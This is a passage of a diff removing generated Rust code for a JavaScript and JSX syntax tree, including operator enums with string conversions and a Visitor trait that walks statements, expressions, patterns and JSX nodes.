-            "??=" => Ok(Self::NullCoalescingEquals),
-            "||=" => Ok(Self::OrEquals),
-            "+=" => Ok(Self::PlusEquals),
-            "<<=" => Ok(Self::ShiftLeftEquals),
-            ">>=" => Ok(Self::ShiftRightEquals),
-            ">>>=" => Ok(Self::UnsignedShiftRightEquals),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum LogicalOperator {
-    /// &&
-    #[serde(rename = "&&")]
-    And,
-    /// ??
-    #[serde(rename = "??")]
-    NullCoalescing,
-    /// ||
-    #[serde(rename = "||")]
-    Or,
-}
-impl std::fmt::Display for LogicalOperator {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::And => "&&",
-            Self::NullCoalescing => "??",
-            Self::Or => "||",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for LogicalOperator {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "&&" => Ok(Self::And),
-            "??" => Ok(Self::NullCoalescing),
-            "||" => Ok(Self::Or),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum SourceType {
-    /// module
-    #[serde(rename = "module")]
-    Module,
-    /// script
-    #[serde(rename = "script")]
-    Script,
-}
-impl std::fmt::Display for SourceType {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Module => "module",
-            Self::Script => "script",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for SourceType {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "module" => Ok(Self::Module),
-            "script" => Ok(Self::Script),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum MethodKind {
-    /// constructor
-    #[serde(rename = "constructor")]
-    Constructor,
-    /// get
-    #[serde(rename = "get")]
-    Get,
-    /// method
-    #[serde(rename = "method")]
-    Method,
-    /// set
-    #[serde(rename = "set")]
-    Set,
-}
-impl std::fmt::Display for MethodKind {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Constructor => "constructor",
-            Self::Get => "get",
-            Self::Method => "method",
-            Self::Set => "set",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for MethodKind {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "constructor" => Ok(Self::Constructor),
-            "get" => Ok(Self::Get),
-            "method" => Ok(Self::Method),
-            "set" => Ok(Self::Set),
-            _ => Err(()),
-        }
-    }
-}
-pub trait Visitor {
-    fn visit_class(&mut self, ast: &Class) {
-        if let Some(id) = &ast.id {
-            self.visit_identifier(id);
-        }
-        if let Some(super_class) = &ast.super_class {
-            self.visit_expression(super_class);
-        }
-        self.visit_class_body(&ast.body);
-    }
-    fn visit_function(&mut self, ast: &Function) {
-        if let Some(id) = &ast.id {
-            self.visit_identifier(id);
-        }
-        for params in &ast.params {
-            self.visit_pattern(params);
-        }
-        if let Some(body) = &ast.body {
-            self.visit_function_body(body);
-        }
-    }
-    fn visit_identifier(&mut self, ast: &Identifier) {
-        if let Some(type_annotation) = &ast.type_annotation {
-            self.visit_type_annotation(type_annotation);
-        }
-    }
-    fn visit_literal(&mut self, ast: &Literal) {}
-    fn visit_numeric_literal(&mut self, ast: &NumericLiteral) {}
-    fn visit_boolean_literal(&mut self, ast: &BooleanLiteral) {}
-    fn visit_null_literal(&mut self, ast: &NullLiteral) {}
-    fn visit_string_literal(&mut self, ast: &StringLiteral) {}
-    fn visit_reg_exp_literal(&mut self, ast: &RegExpLiteral) {}
-    fn visit_program(&mut self, ast: &Program) {
-        for body in &ast.body {
-            self.visit_module_item(body);
-        }
-    }
-    fn visit_expression_statement(&mut self, ast: &ExpressionStatement) {
-        self.visit_expression(&ast.expression);
-    }
-    fn visit_block_statement(&mut self, ast: &BlockStatement) {
-        for body in &ast.body {
-            self.visit_statement(body);
-        }
-    }
-    fn visit_empty_statement(&mut self, ast: &EmptyStatement) {}
-    fn visit_debugger_statement(&mut self, ast: &DebuggerStatement) {}
-    fn visit_with_statement(&mut self, ast: &WithStatement) {
-        self.visit_expression(&ast.object);
-        self.visit_statement(&ast.body);
-    }
-    fn visit_return_statement(&mut self, ast: &ReturnStatement) {
-        if let Some(argument) = &ast.argument {
-            self.visit_expression(argument);
-        }
-    }
-    fn visit_labeled_statement(&mut self, ast: &LabeledStatement) {
-        self.visit_identifier(&ast.label);
-        self.visit_statement(&ast.body);
-    }
-    fn visit_break_statement(&mut self, ast: &BreakStatement) {
-        if let Some(label) = &ast.label {
-            self.visit_identifier(label);
-        }
-    }
-    fn visit_continue_statement(&mut self, ast: &ContinueStatement) {
-        if let Some(label) = &ast.label {
-            self.visit_identifier(label);
-        }
-    }
-    fn visit_if_statement(&mut self, ast: &IfStatement) {
-        self.visit_expression(&ast.test);
-        self.visit_statement(&ast.consequent);
-        if let Some(alternate) = &ast.alternate {
-            self.visit_statement(alternate);
-        }
-    }
-    fn visit_switch_statement(&mut self, ast: &SwitchStatement) {
-        self.visit_expression(&ast.discriminant);
-        for cases in &ast.cases {
-            self.visit_switch_case(cases);
-        }
-    }
-    fn visit_switch_case(&mut self, ast: &SwitchCase) {
-        if let Some(test) = &ast.test {
-            self.visit_expression(test);
-        }
-        for consequent in &ast.consequent {
-            self.visit_statement(consequent);
-        }
-    }
-    fn visit_throw_statement(&mut self, ast: &ThrowStatement) {
-        self.visit_expression(&ast.argument);
-    }
-    fn visit_try_statement(&mut self, ast: &TryStatement) {
-        self.visit_block_statement(&ast.block);
-        if let Some(handler) = &ast.handler {
-            self.visit_catch_clause(handler);
-        }
-        if let Some(finalizer) = &ast.finalizer {
-            self.visit_block_statement(finalizer);
-        }
-    }
-    fn visit_catch_clause(&mut self, ast: &CatchClause) {
-        if let Some(param) = &ast.param {
-            self.visit_pattern(param);
-        }
-        self.visit_block_statement(&ast.body);
-    }
-    fn visit_while_statement(&mut self, ast: &WhileStatement) {
-        self.visit_expression(&ast.test);
-        self.visit_statement(&ast.body);
-    }
-    fn visit_do_while_statement(&mut self, ast: &DoWhileStatement) {
-        self.visit_statement(&ast.body);
-        self.visit_expression(&ast.test);
-    }
-    fn visit_for_statement(&mut self, ast: &ForStatement) {
-        if let Some(init) = &ast.init {
-            self.visit_for_init(init);
-        }
-        if let Some(test) = &ast.test {
-            self.visit_expression(test);
-        }
-        if let Some(update) = &ast.update {
-            self.visit_expression(update);
-        }
-        self.visit_statement(&ast.body);
-    }
-    fn visit_for_in_statement(&mut self, ast: &ForInStatement) {
-        self.visit_for_in_init(&ast.left);
-        self.visit_expression(&ast.right);
-        self.visit_statement(&ast.body);
-    }
-    fn visit_for_of_statement(&mut self, ast: &ForOfStatement) {
-        self.visit_for_in_init(&ast.left);
-        self.visit_expression(&ast.right);
-        self.visit_statement(&ast.body);
-    }
-    fn visit_function_declaration(&mut self, ast: &FunctionDeclaration) {
-        self.visit_function(&ast.function);
-    }
-    fn visit_class_declaration(&mut self, ast: &ClassDeclaration) {
-        self.visit_class(&ast.class);
-    }
-    fn visit_class_expression(&mut self, ast: &ClassExpression) {
-        self.visit_class(&ast.class);
-    }
-    fn visit_class_body(&mut self, ast: &ClassBody) {
-        for body in &ast.body {
-            self.visit_class_item(body);
-        }
-    }
-    fn visit_method_definition(&mut self, ast: &MethodDefinition) {
-        self.visit_expression(&ast.key);
-        self.visit_function_expression(&ast.value);
-    }
-    fn visit_variable_declaration(&mut self, ast: &VariableDeclaration) {
-        for declarations in &ast.declarations {
-            self.visit_variable_declarator(declarations);
-        }
-    }
-    fn visit_variable_declarator(&mut self, ast: &VariableDeclarator) {
-        self.visit_pattern(&ast.id);
-        if let Some(init) = &ast.init {
-            self.visit_expression(init);
-        }
-    }
-    fn visit_this_expression(&mut self, ast: &ThisExpression) {}
-    fn visit_array_expression(&mut self, ast: &ArrayExpression) {
-        for elements in &ast.elements {
-            if let Some(elements) = elements {
-                self.visit_expression_or_spread(elements);
-            }
-        }
-    }
-    fn visit_object_expression(&mut self, ast: &ObjectExpression) {
-        for properties in &ast.properties {
-            self.visit_property_or_spread_element(properties);
-        }
-    }
-    fn visit_property(&mut self, ast: &Property) {
-        self.visit_expression(&ast.key);
-        self.visit_expression(&ast.value);
-    }
-    fn visit_function_expression(&mut self, ast: &FunctionExpression) {
-        self.visit_function(&ast.function);
-    }
-    fn visit_arrow_function_expression(&mut self, ast: &ArrowFunctionExpression) {
-        self.visit_function(&ast.function);
-    }
-    fn visit_unary_expression(&mut self, ast: &UnaryExpression) {
-        self.visit_expression(&ast.argument);
-    }
-    fn visit_update_expression(&mut self, ast: &UpdateExpression) {
-        self.visit_expression(&ast.argument);
-    }
-    fn visit_binary_expression(&mut self, ast: &BinaryExpression) {
-        self.visit_expression(&ast.left);
-        self.visit_expression(&ast.right);
-    }
-    fn visit_assignment_expression(&mut self, ast: &AssignmentExpression) {
-        self.visit_assignment_target(&ast.left);
-        self.visit_expression(&ast.right);
-    }
-    fn visit_logical_expression(&mut self, ast: &LogicalExpression) {
-        self.visit_expression(&ast.left);
-        self.visit_expression(&ast.right);
-    }
-    fn visit_member_expression(&mut self, ast: &MemberExpression) {
-        self.visit_expression_or_super(&ast.object);
-        self.visit_expression_or_private_identifier(&ast.property);
-    }
-    fn visit_conditional_expression(&mut self, ast: &ConditionalExpression) {
-        self.visit_expression(&ast.test);
-        self.visit_expression(&ast.alternate);
-        self.visit_expression(&ast.consequent);
-    }
-    fn visit_call_expression(&mut self, ast: &CallExpression) {
-        self.visit_expression_or_super(&ast.callee);
-        for arguments in &ast.arguments {
-            self.visit_expression_or_spread(arguments);
-        }
-    }
-    fn visit_new_expression(&mut self, ast: &NewExpression) {
-        self.visit_expression(&ast.callee);
-        for arguments in &ast.arguments {
-            self.visit_expression_or_spread(arguments);
-        }
-    }
-    fn visit_sequence_expression(&mut self, ast: &SequenceExpression) {
-        for expressions in &ast.expressions {
-            self.visit_expression(expressions);
-        }
-    }
-    fn visit_super(&mut self, ast: &Super) {}
-    fn visit_spread_element(&mut self, ast: &SpreadElement) {
-        self.visit_expression(&ast.argument);
-    }
-    fn visit_yield_expression(&mut self, ast: &YieldExpression) {
-        if let Some(argument) = &ast.argument {
-            self.visit_expression(argument);
-        }
-    }
-    fn visit_import_declaration(&mut self, ast: &ImportDeclaration) {
-        for specifiers in &ast.specifiers {
-            self.visit_import_declaration_specifier(specifiers);
-        }
-        self.visit___literal(&ast.source);
-    }
-    fn visit_import_specifier(&mut self, ast: &ImportSpecifier) {
-        self.visit_identifier(&ast.imported);
-        self.visit_identifier(&ast.local);
-    }
-    fn visit_import_default_specifier(&mut self, ast: &ImportDefaultSpecifier) {
-        self.visit_identifier(&ast.local);
-    }
-    fn visit_import_namespace_specifier(&mut self, ast: &ImportNamespaceSpecifier) {
-        self.visit_identifier(&ast.local);
-    }
-    fn visit_export_named_declaration(&mut self, ast: &ExportNamedDeclaration) {
-        if let Some(declaration) = &ast.declaration {
-            self.visit_declaration(declaration);
-        }
-        for specifiers in &ast.specifiers {
-            self.visit_export_specifier(specifiers);
-        }
-        if let Some(source) = &ast.source {
-            self.visit___literal(source);
-        }
-    }
-    fn visit_export_specifier(&mut self, ast: &ExportSpecifier) {
-        self.visit_identifier(&ast.exported);
-    }
-    fn visit_export_default_declaration(&mut self, ast: &ExportDefaultDeclaration) {
-        self.visit_declaration_or_expression(&ast.declaration);
-    }
-    fn visit_export_all_declaration(&mut self, ast: &ExportAllDeclaration) {
-        self.visit___literal(&ast.source);
-        if let Some(exported) = &ast.exported {
-            self.visit_identifier(exported);
-        }
-    }
-    fn visit_jsxidentifier(&mut self, ast: &JSXIdentifier) {}
-    fn visit_jsxnamespaced_name(&mut self, ast: &JSXNamespacedName) {
-        self.visit_jsxidentifier(&ast.namespace);
-        self.visit_jsxidentifier(&ast.name);
-    }
-    fn visit_jsxmember_expression(&mut self, ast: &JSXMemberExpression) {
-        self.visit_jsxmember_expression_or_identifier(&ast.object);
-        self.visit_jsxidentifier(&ast.property);
-    }
-    fn visit_jsxempty_expression(&mut self, ast: &JSXEmptyExpression) {}
-    fn visit_jsxexpression_container(&mut self, ast: &JSXExpressionContainer) {
-        self.visit_jsxexpression_or_empty(&ast.expression);
-    }
-    fn visit_jsxspread_child(&mut self, ast: &JSXSpreadChild) {
-        self.visit_expression(&ast.expression);
-    }
-    fn visit_jsxopening_element(&mut self, ast: &JSXOpeningElement) {
-        self.visit_jsxelement_name(&ast.name);
-        for attributes in &ast.attributes {
-            self.visit_jsxattribute_or_spread(attributes);
-        }
-    }
-    fn visit_jsxclosing_element(&mut self, ast: &JSXClosingElement) {
-        self.visit_jsxelement_name(&ast.name);
-    }
-    fn visit_jsxattribute(&mut self, ast: &JSXAttribute) {
-        self.visit_jsxidentifier_or_namespaced_name(&ast.name);
-        if let Some(value) = &ast.value {
-            self.visit_jsxattribute_value(value);
-        }
-    }
-    fn visit_jsxspread_attribute(&mut self, ast: &JSXSpreadAttribute) {
-        self.visit_expression(&ast.argument);
-    }
-    fn visit_jsxtext(&mut self, ast: &JSXText) {}
-    fn visit_jsxstring_literal(&mut self, ast: &JSXStringLiteral) {}
-    fn visit_jsxelement(&mut self, ast: &JSXElement) {
-        self.visit_jsxopening_element(&ast.opening_element);
-        for children in &ast.children {
-            self.visit_jsxchild_item(children);
-        }
-        if let Some(closing_element) = &ast.closing_element {
-            self.visit_jsxclosing_element(closing_element);
-        }
-    }
-    fn visit_jsxfragment(&mut self, ast: &JSXFragment) {
-        self.visit_jsxopening_fragment(&ast.opening_fragment);
-        for children in &ast.children {
-            self.visit_jsxchild_item(children);
-        }
-        self.visit_jsxclosing_fragment(&ast.closing_fragment);
-    }
-    fn visit_jsxopening_fragment(&mut self, ast: &JSXOpeningFragment) {}
-    fn visit_jsxclosing_fragment(&mut self, ast: &JSXClosingFragment) {}
-    fn visit_array_pattern(&mut self, ast: &ArrayPattern) {
-        for elements in &ast.elements {
-            if let Some(elements) = elements {
-                self.visit_pattern(elements);
-            }
-        }
-    }
-    fn visit_object_pattern(&mut self, ast: &ObjectPattern) {
-        for properties in &ast.properties {
-            self.visit_assignment_property_or_rest_element(properties);
-        }
-    }
-    fn visit_assignment_property(&mut self, ast: &AssignmentProperty) {
-        self.visit_expression(&ast.key);
-        self.visit_pattern(&ast.value);
-    }
-    fn visit_rest_element(&mut self, ast: &RestElement) {
-        self.visit_pattern(&ast.argument);
-    }
-    fn visit_assignment_pattern(&mut self, ast: &AssignmentPattern) {
-        self.visit_pattern(&ast.left);
-        self.visit_expression(&ast.right);
-    }
-    fn visit_template_literal(&mut self, ast: &TemplateLiteral) {
-        for quasis in &ast.quasis {
-            self.visit_template_element(quasis);
-        }
-        for expressions in &ast.expressions {
-            self.visit_expression(expressions);
-        }
-    }
-    fn visit_template_element(&mut self, ast: &TemplateElement) {}
-    fn visit_tagged_template_expression(&mut self, ast: &TaggedTemplateExpression) {
-        self.visit_expression(&ast.tag);
-        self.visit_template_literal(&ast.quasi);
-    }
-    fn visit_meta_property(&mut self, ast: &MetaProperty) {
-        self.visit_identifier(&ast.meta);
-        self.visit_identifier(&ast.property);
-    }
-    fn visit_await_expression(&mut self, ast: &AwaitExpression) {
-        self.visit_expression(&ast.argument);
-    }
-    fn visit_chain_expression(&mut self, ast: &ChainExpression) {
-        self.visit_chain_element(&ast.expression);
-    }
-    fn visit_optional_member_expression(&mut self, ast: &OptionalMemberExpression) {
-        self.visit_expression(&ast.object);
-        self.visit_expression(&ast.property);
-    }
-    fn visit_optional_call_expression(&mut self, ast: &OptionalCallExpression) {
-        self.visit_expression_or_super(&ast.callee);
-        for arguments in &ast.arguments {
-            self.visit_expression_or_spread(arguments);
-        }
-    }
-    fn visit_import_expression(&mut self, ast: &ImportExpression) {
-        self.visit_expression(&ast.source);
-    }
-    fn visit_class_property(&mut self, ast: &ClassProperty) {
-        self.visit_expression(&ast.key);
-        if let Some(value) = &ast.value {
-            self.visit_expression(value);
-        }
-    }
-    fn visit_class_private_property(&mut self, ast: &ClassPrivateProperty) {
-        self.visit_expression_or_private_identifier(&ast.key);
-        if let Some(value) = &ast.value {
-            self.visit_expression(value);
-        }
-    }
-    fn visit_private_name(&mut self, ast: &PrivateName) {
-        self.visit_identifier(&ast.id);
-    }
-    fn visit_private_identifier(&mut self, ast: &PrivateIdentifier) {}
-    fn visit_static_block(&mut self, ast: &StaticBlock) {
-        for body in &ast.body {
-            self.visit_statement(body);
-        }
-    }
-    fn visit_cover_typed_identifier(&mut self, ast: &CoverTypedIdentifier) {
-        self.visit_identifier(&ast.left);
-        if let Some(right) = &ast.right {
-            self.visit_type_annotation(right);
-        }
-    }
-    fn visit_tstype_annotation(&mut self, ast: &TSTypeAnnotation) {}
-    fn visit_tstype_alias_declaration(&mut self, ast: &TSTypeAliasDeclaration) {}
-    fn visit_statement(&mut self, ast: &Statement) {
-        match ast {
-            Statement::BlockStatement(ast) => {
-                self.visit_block_statement(ast);
-            }
-            Statement::BreakStatement(ast) => {
-                self.visit_break_statement(ast);
-            }
-            Statement::ClassDeclaration(ast) => {
-                self.visit_class_declaration(ast);
-            }
-            Statement::ContinueStatement(ast) => {
-                self.visit_continue_statement(ast);
-            }
-            Statement::DebuggerStatement(ast) => {
-                self.visit_debugger_statement(ast);
-            }
-            Statement::DoWhileStatement(ast) => {
-                self.visit_do_while_statement(ast);
-            }
-            Statement::EmptyStatement(ast) => {
-                self.visit_empty_statement(ast);
-            }
-            Statement::ExpressionStatement(ast) => {
-                self.visit_expression_statement(ast);
-            }
-            Statement::ForInStatement(ast) => {
-                self.visit_for_in_statement(ast);
-            }
-            Statement::ForOfStatement(ast) => {
-                self.visit_for_of_statement(ast);
-            }
-            Statement::ForStatement(ast) => {
-                self.visit_for_statement(ast);
-            }
-            Statement::FunctionDeclaration(ast) => {
-                self.visit_function_declaration(ast);
-            }
-            Statement::IfStatement(ast) => {
-                self.visit_if_statement(ast);
-            }
-            Statement::LabeledStatement(ast) => {
-                self.visit_labeled_statement(ast);
-            }
-            Statement::ReturnStatement(ast) => {
-                self.visit_return_statement(ast);
-            }
-            Statement::SwitchStatement(ast) => {
-                self.visit_switch_statement(ast);
-            }
-            Statement::ThrowStatement(ast) => {
-                self.visit_throw_statement(ast);
-            }
-            Statement::TryStatement(ast) => {
-                self.visit_try_statement(ast);
-            }
-            Statement::TSTypeAliasDeclaration(ast) => {
-                self.visit_tstype_alias_declaration(ast);
-            }
-            Statement::VariableDeclaration(ast) => {
-                self.visit_variable_declaration(ast);
-            }
-            Statement::WhileStatement(ast) => {
-                self.visit_while_statement(ast);
-            }
-            Statement::WithStatement(ast) => {
-                self.visit_with_statement(ast);
-            }
-        }
-    }
-    fn visit_expression(&mut self, ast: &Expression) {
-        match ast {
-            Expression::ArrayExpression(ast) => {
-                self.visit_array_expression(ast);
-            }
-            Expression::ArrowFunctionExpression(ast) => {
-                self.visit_arrow_function_expression(ast);
-            }
-            Expression::AssignmentExpression(ast) => {
-                self.visit_assignment_expression(ast);
-            }
-            Expression::AwaitExpression(ast) => {
-                self.visit_await_expression(ast);
-            }
-            Expression::BinaryExpression(ast) => {
-                self.visit_binary_expression(ast);
-            }
-            Expression::BooleanLiteral(ast) => {
-                self.visit_boolean_literal(ast);
-            }
-            Expression::CallExpression(ast) => {
-                self.visit_call_expression(ast);
-            }
-            Expression::ChainExpression(ast) => {
-                self.visit_chain_expression(ast);
-            }
-            Expression::ClassExpression(ast) => {
-                self.visit_class_expression(ast);
-            }
-            Expression::ConditionalExpression(ast) => {
-                self.visit_conditional_expression(ast);
-            }
-            Expression::CoverTypedIdentifier(ast) => {
-                self.visit_cover_typed_identifier(ast);
-            }
-            Expression::FunctionExpression(ast) => {
-                self.visit_function_expression(ast);
-            }
-            Expression::Identifier(ast) => {
-                self.visit_identifier(ast);
-            }
-            Expression::ImportExpression(ast) => {
-                self.visit_import_expression(ast);
-            }
-            Expression::JSXElement(ast) => {
-                self.visit_jsxelement(ast);
-            }
-            Expression::JSXFragment(ast) => {
-                self.visit_jsxfragment(ast);
-            }
-            Expression::Literal(ast) => {
-                self.visit_literal(ast);
-            }
-            Expression::LogicalExpression(ast) => {
-                self.visit_logical_expression(ast);
-            }
-            Expression::MemberExpression(ast) => {
-                self.visit_member_expression(ast);
-            }
-            Expression::MetaProperty(ast) => {
-                self.visit_meta_property(ast);
-            }
-            Expression::NewExpression(ast) => {
-                self.visit_new_expression(ast);
-            }
-            Expression::NullLiteral(ast) => {
-                self.visit_null_literal(ast);
-            }
-            Expression::NumericLiteral(ast) => {
-                self.visit_numeric_literal(ast);
-            }
-            Expression::ObjectExpression(ast) => {
-                self.visit_object_expression(ast);
-            }
-            Expression::OptionalCallExpression(ast) => {
-                self.visit_optional_call_expression(ast);
-            }
-            Expression::OptionalMemberExpression(ast) => {
-                self.visit_optional_member_expression(ast);
-            }
-            Expression::RegExpLiteral(ast) => {
-                self.visit_reg_exp_literal(ast);
-            }
-            Expression::SequenceExpression(ast) => {
-                self.visit_sequence_expression(ast);
-            }
-            Expression::StringLiteral(ast) => {
-                self.visit_string_literal(ast);
-            }
-            Expression::TaggedTemplateExpression(ast) => {
-                self.visit_tagged_template_expression(ast);
-            }
-            Expression::TemplateLiteral(ast) => {
-                self.visit_template_literal(ast);
-            }
-            Expression::ThisExpression(ast) => {
-                self.visit_this_expression(ast);
-            }
-            Expression::UnaryExpression(ast) => {
-                self.visit_unary_expression(ast);
-            }
-            Expression::UpdateExpression(ast) => {
-                self.visit_update_expression(ast);
-            }
-            Expression::YieldExpression(ast) => {
-                self.visit_yield_expression(ast);
-            }
-        }
-    }
-    fn visit___literal(&mut self, ast: &_Literal) {
-        match ast {
-            _Literal::Literal(ast) => {
-                self.visit_literal(ast);
-            }
-            _Literal::BooleanLiteral(ast) => {
-                self.visit_boolean_literal(ast);
-            }
-            _Literal::NullLiteral(ast) => {
-                self.visit_null_literal(ast);
-            }
-            _Literal::StringLiteral(ast) => {
-                self.visit_string_literal(ast);
-            }
-            _Literal::NumericLiteral(ast) => {
-                self.visit_numeric_literal(ast);
-            }
-        }
-    }
-    fn visit_declaration(&mut self, ast: &Declaration) {
-        match ast {
-            Declaration::ClassDeclaration(ast) => {
-                self.visit_class_declaration(ast);
-            }
-            Declaration::FunctionDeclaration(ast) => {
-                self.visit_function_declaration(ast);
-            }
-            Declaration::VariableDeclaration(ast) => {
-                self.visit_variable_declaration(ast);
-            }
-            Declaration::TSTypeAliasDeclaration(ast) => {
-                self.visit_tstype_alias_declaration(ast);
-            }
-        }
-    }
-    fn visit_import_declaration_specifier(&mut self, ast: &ImportDeclarationSpecifier) {
-        match ast {
-            ImportDeclarationSpecifier::ImportSpecifier(ast) => {
-                self.visit_import_specifier(ast);
-            }
-            ImportDeclarationSpecifier::ImportDefaultSpecifier(ast) => {
-                self.visit_import_default_specifier(ast);
-            }
-            ImportDeclarationSpecifier::ImportNamespaceSpecifier(ast) => {
-                self.visit_import_namespace_specifier(ast);
-            }
-        }
-    }
-    fn visit_module_item(&mut self, ast: &ModuleItem) {
-        match ast {
-            ModuleItem::ImportOrExportDeclaration(ast) => {
-                self.visit_import_or_export_declaration(ast);
-            }
-            ModuleItem::Statement(ast) => {
-                self.visit_statement(ast);
-            }
-        }
-    }
-    fn visit_import_or_export_declaration(&mut self, ast: &ImportOrExportDeclaration) {
-        match ast {
-            ImportOrExportDeclaration::ImportDeclaration(ast) => {
-                self.visit_import_declaration(ast);
-            }
-            ImportOrExportDeclaration::ExportNamedDeclaration(ast) => {
-                self.visit_export_named_declaration(ast);
-            }
-            ImportOrExportDeclaration::ExportDefaultDeclaration(ast) => {
-                self.visit_export_default_declaration(ast);
-            }
-            ImportOrExportDeclaration::ExportAllDeclaration(ast) => {
-                self.visit_export_all_declaration(ast);
-            }
-        }
-    }
-    fn visit_expression_or_super(&mut self, ast: &ExpressionOrSuper) {
-        match ast {
-            ExpressionOrSuper::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-            ExpressionOrSuper::Super(ast) => {
-                self.visit_super(ast);
-            }
-        }
-    }
-    fn visit_expression_or_spread(&mut self, ast: &ExpressionOrSpread) {
-        match ast {
-            ExpressionOrSpread::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-            ExpressionOrSpread::SpreadElement(ast) => {
-                self.visit_spread_element(ast);
-            }
-        }
-    }
-    fn visit_function_body(&mut self, ast: &FunctionBody) {
-        match ast {
-            FunctionBody::BlockStatement(ast) => {
-                self.visit_block_statement(ast);
-            }
-            FunctionBody::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-        }
-    }
-    fn visit_pattern(&mut self, ast: &Pattern) {
-        match ast {
-            Pattern::Identifier(ast) => {
-                self.visit_identifier(ast);
-            }
-            Pattern::ArrayPattern(ast) => {
-                self.visit_array_pattern(ast);
-            }
-            Pattern::ObjectPattern(ast) => {
-                self.visit_object_pattern(ast);
-            }
-            Pattern::RestElement(ast) => {
-                self.visit_rest_element(ast);
-            }
-            Pattern::AssignmentPattern(ast) => {
-                self.visit_assignment_pattern(ast);
-            }
-        }
-    }
-    fn visit_for_init(&mut self, ast: &ForInit) {
-        match ast {
-            ForInit::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-            ForInit::VariableDeclaration(ast) => {
-                self.visit_variable_declaration(ast);
-            }
-        }
-    }
-    fn visit_for_in_init(&mut self, ast: &ForInInit) {
-        match ast {
-            ForInInit::Pattern(ast) => {
-                self.visit_pattern(ast);
-            }
-            ForInInit::VariableDeclaration(ast) => {
-                self.visit_variable_declaration(ast);
-            }
-        }
-    }
-    fn visit_property_or_spread_element(&mut self, ast: &PropertyOrSpreadElement) {
-        match ast {
-            PropertyOrSpreadElement::Property(ast) => {
-                self.visit_property(ast);
-            }
-            PropertyOrSpreadElement::SpreadElement(ast) => {
-                self.visit_spread_element(ast);
-            }
-        }
-    }
-    fn visit_assignment_property_or_rest_element(
-        &mut self,
-        ast: &AssignmentPropertyOrRestElement,
-    ) {
-        match ast {
-            AssignmentPropertyOrRestElement::AssignmentProperty(ast) => {
-                self.visit_assignment_property(ast);
-            }
-            AssignmentPropertyOrRestElement::RestElement(ast) => {
-                self.visit_rest_element(ast);
-            }
-        }
-    }
-    fn visit_assignment_target(&mut self, ast: &AssignmentTarget) {
-        match ast {
-            AssignmentTarget::Pattern(ast) => {
-                self.visit_pattern(ast);
-            }
-            AssignmentTarget::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-        }
-    }
-    fn visit_chain_element(&mut self, ast: &ChainElement) {
-        match ast {
-            ChainElement::CallExpression(ast) => {
-                self.visit_call_expression(ast);
-            }
-            ChainElement::MemberExpression(ast) => {
-                self.visit_member_expression(ast);
-            }
-        }
-    }
-    fn visit_jsxmember_expression_or_identifier(
-        &mut self,
-        ast: &JSXMemberExpressionOrIdentifier,
-    ) {
-        match ast {
-            JSXMemberExpressionOrIdentifier::JSXMemberExpression(ast) => {
-                self.visit_jsxmember_expression(ast);
-            }
-            JSXMemberExpressionOrIdentifier::JSXIdentifier(ast) => {
-                self.visit_jsxidentifier(ast);
-            }
-        }
-    }
-    fn visit_jsxexpression_or_empty(&mut self, ast: &JSXExpressionOrEmpty) {
-        match ast {
-            JSXExpressionOrEmpty::Expression(ast) => {
-                self.visit_expression(ast);
-            }
-            JSXExpressionOrEmpty::JSXEmptyExpression(ast) => {
-                self.visit_jsxempty_expression(ast);
-            }
-        }
-    }
-    fn visit_jsxattribute_or_spread(&mut self, ast: &JSXAttributeOrSpread) {
-        match ast {
-            JSXAttributeOrSpread::JSXAttribute(ast) => {
-                self.visit_jsxattribute(ast);
-            }
-            JSXAttributeOrSpread::JSXSpreadAttribute(ast) => {
-                self.visit_jsxspread_attribute(ast);
-            }
-        }
-    }
-    fn visit_jsxattribute_value(&mut self, ast: &JSXAttributeValue) {
-        match ast {
-            JSXAttributeValue::Literal(ast) => {
-                self.visit_literal(ast);
-            }
-            JSXAttributeValue::JSXExpressionContainer(ast) => {
-                self.visit_jsxexpression_container(ast);
-            }
-            JSXAttributeValue::JSXElement(ast) => {
-                self.visit_jsxelement(ast);
-            }
-            JSXAttributeValue::JSXFragment(ast) => {
-                self.visit_jsxfragment(ast);
-            }
-            JSXAttributeValue::JSXStringLiteral(ast) => {
-                self.visit_jsxstring_literal(ast);
-            }
-        }
-    }
-    fn visit_jsxelement_name(&mut self, ast: &JSXElementName) {
-        match ast {
-            JSXElementName::JSXIdentifier(ast) => {
-                self.visit_jsxidentifier(ast);
-            }
-            JSXElementName::JSXMemberExpression(ast) => {
-                self.visit_jsxmember_expression(ast);
-            }
-            JSXElementName::JSXNamespacedName(ast) => {
-                self.visit_jsxnamespaced_name(ast);
-            }
-        }
-    }
-    fn visit_jsxidentifier_or_namespaced_name(
-        &mut self,
-        ast: &JSXIdentifierOrNamespacedName,
-    ) {
-        match ast {
-            JSXIdentifierOrNamespacedName::JSXIdentifier(ast) => {
-                self.visit_jsxidentifier(ast);
-            }
-            JSXIdentifierOrNamespacedName::JSXNamespacedName(ast) => {
-                self.visit_jsxnamespaced_name(ast);
-            }
-        }
-    }
